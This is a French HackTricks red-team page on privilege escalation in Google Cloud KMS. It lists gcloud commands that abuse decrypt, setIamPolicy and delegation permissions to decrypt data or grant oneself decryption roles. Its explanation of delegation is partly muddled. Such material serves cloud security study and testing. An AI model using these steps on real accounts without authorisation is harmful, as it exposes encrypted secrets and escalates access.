GCP - KMS Privesc

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

KMS

Informations sur KMS :

pageGCP - KMS Enum

Notez que dans KMS, les permissions ne sont pas seulement héritées des Organisations, Dossiers et Projets, mais aussi des Keyrings.

cloudkms.cryptoKeyVersions.useToDecrypt

Vous pouvez utiliser cette permission pour déchiffrer des informations avec la clé sur laquelle vous avez cette permission.

gcloud kms decrypt \
--location=[LOCATION] \
--keyring=[KEYRING_NAME] \
--key=[KEY_NAME] \
--version=[KEY_VERSION] \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]

cloudkms.cryptoKeys.setIamPolicy

Un attaquant avec cette permission pourrait se donner des permissions pour utiliser la clé afin de déchiffrer des informations.

gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
--keyring [KEYRING_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter

cloudkms.cryptoKeyVersions.useToDecryptViaDelegation

Voici une explication conceptuelle de la manière dont cette délégation fonctionne :

  1. Le compte de service A a un accès direct pour déchiffrer en utilisant une clé spécifique dans KMS.

  2. Le compte de service B se voit accorder la permission useToDecryptViaDelegation. Cela lui permet de demander à KMS de déchiffrer des données au nom du compte de service A.

L'utilisation de cette permission est implicite dans la manière dont le service KMS vérifie les permissions lorsqu'une demande de déchiffrement est faite.

Lorsque vous faites une demande de déchiffrement standard en utilisant l'API Google Cloud KMS (en Python ou dans un autre langage), le service vérifie si le compte de service demandeur a les permissions nécessaires. Si la demande est faite par un compte de service avec la permission useToDecryptViaDelegation, KMS vérifie si ce compte est autorisé à demander le déchiffrement au nom de l'entité qui possède la clé.

Configuration pour la délégation

  1. Définir le rôle personnalisé : Créez un fichier YAML (par exemple, custom_role.yaml) qui définit le rôle personnalisé. Ce fichier doit inclure la permission cloudkms.cryptoKeyVersions.useToDecryptViaDelegation. Voici un exemple de ce à quoi ce fichier pourrait ressembler :

title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
  1. Créer le rôle personnalisé en utilisant l'interface de ligne de commande gcloud : Utilisez la commande suivante pour créer le rôle personnalisé dans votre projet Google Cloud :

```bash gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml ``` ```markdown Remplacez `[YOUR_PROJECT_ID]` par l'ID de votre projet Google Cloud.

  1. Attribuer le rôle personnalisé à un compte de service : Assignez votre rôle personnalisé à un compte de service qui utilisera cette permission. Utilisez la commande suivante :

```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"

# Give this permission over the project to be able to impersonate any SA
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"

Remplacez [YOUR_PROJECT_ID] et [SERVICE_ACCOUNT_EMAIL] par votre ID de projet et l'email du compte de service, respectivement.

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Dernière mise à jour